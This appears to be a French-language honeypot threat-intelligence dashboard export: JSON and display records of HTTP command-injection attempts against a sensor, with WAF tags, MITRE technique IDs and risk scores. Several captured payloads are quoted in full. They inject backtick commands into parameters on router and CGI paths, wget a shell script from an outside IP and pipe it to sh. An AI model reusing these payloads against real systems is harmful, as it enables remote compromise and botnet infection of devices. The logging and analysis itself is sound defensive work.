"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/edgserver\/capture_packages",
"request_line": "GET \/edgserver\/capture_packages?param=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/edgserver\/capture_packages",
"evidence_snippet": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 60 \u00b7 2 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950325:rce-0",
"950468:nosqli-3",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:13 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /command.php
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /command.php
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/command.php
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/command.php
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /command.php HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /command.php HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
Connect
Requête brute (extrait)
POST /command.php HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 164 Connection: close cmd=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s dlcmd;busybox wget http://91.92.40.118/wget.sh -O-|sh -s d
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "php",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "387fa52c89852ad587baa76ccfb83021cdde7544",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 306,
"payload_entropy": 5.174073401655628,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "1b72e0cad9dc4a2599a7718a58f3889624ca7773",
"event_fingerprint": "6720ae9e1df4aec3742b4391426e0851c76932cf",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "089e8fdeba3be46096d33f42468daab0",
"path_pattern_hash": "ae299b1b73fdd9de9a67e4429bae2022"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnect",
"method": "POST",
"path": "\/command.php",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/command.php HTTP\/1.1",
"request_sample": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnection: close\r\n\r\ncmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dlcmd;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s d",
"payload_snippet": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnect",
"evidence": {
"method": "POST",
"path": "\/command.php",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/command.php HTTP\/1.1",
"request_sample": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnection: close\r\n\r\ncmd=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dlcmd;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s d",
"payload_snippet": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnect",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "165827c68ea8fd999882170e8b5e0b13dd9d8055",
"protocol_details": {
"http_method": "POST",
"http_path": "\/command.php",
"request_line": "POST \/command.php HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnect",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/command.php",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/command.php",
"request_line": "POST \/command.php HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/command.php",
"evidence_snippet": "POST \/command.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 164\r\nConnect",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:12 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /api/network/settings
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /api/network/settings
Émulateur
HTTP
WAF
51
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/api/network/settings
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/api/network/settings
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /api/network/settings HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/network/settings HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Requête brute (extrait)
POST /api/network/settings HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 166 Connection: close hostname=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s russ;busybox wget http://91.92.40.118/wget.s
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "3f75be5a16a5bdf34f0b9aa0d9023c8d52bbfb9a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 317,
"payload_entropy": 5.13830715012235,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "2e043609220034c4522b2f0d4bd3eeaf2eac744b",
"event_fingerprint": "dfce62ac5913a9cd967b0bb645ceefa90bb28ac6",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "2fe604101c79ae7872c41cab5300a623",
"path_pattern_hash": "2b198f042c4b9cbc886c5fadc737cd96"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"method": "POST",
"path": "\/api\/network\/settings",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"request_sample": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166\r\nConnection: close\r\n\r\nhostname=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s russ;busybox wget http:\/\/91.92.40.118\/wget.s",
"payload_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"evidence": {
"method": "POST",
"path": "\/api\/network\/settings",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"request_sample": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166\r\nConnection: close\r\n\r\nhostname=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s russ;busybox wget http:\/\/91.92.40.118\/wget.s",
"payload_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "198e566fb75422036b8a2c892fd6d3ed85a1a0e1",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/network\/settings",
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/network\/settings",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/network\/settings",
"request_line": "POST \/api\/network\/settings HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/network\/settings",
"evidence_snippet": "POST \/api\/network\/settings HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 166",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_cmd_injection",
"http_idor_probe",
"http_jwt_body",
"http_no_ua",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:12 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/wireless.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/wireless.cgi
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/cgi-bin/wireless.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/wireless.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /cgi-bin/wireless.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /cgi-bin/wireless.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Requête brute (extrait)
POST /cgi-bin/wireless.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 171 Connection: close sz11gChannel=1`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s wdr1;busybox wget http://91.92.40.118/w
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "5d213d21ab531035b3d11e0f269406faf9a8e9dd",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 322,
"payload_entropy": 5.163910702669505,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "bf38ea8cef8d51c26c553a16765c473947b2c4c8",
"event_fingerprint": "1ab51c0facfaa584683a9e7f76f0d3b02ddd2be2",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "a2f77cd84f99baacefa77874d2b8434c",
"path_pattern_hash": "e8069dc607bc4e1a464a8f30c4269ee3"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
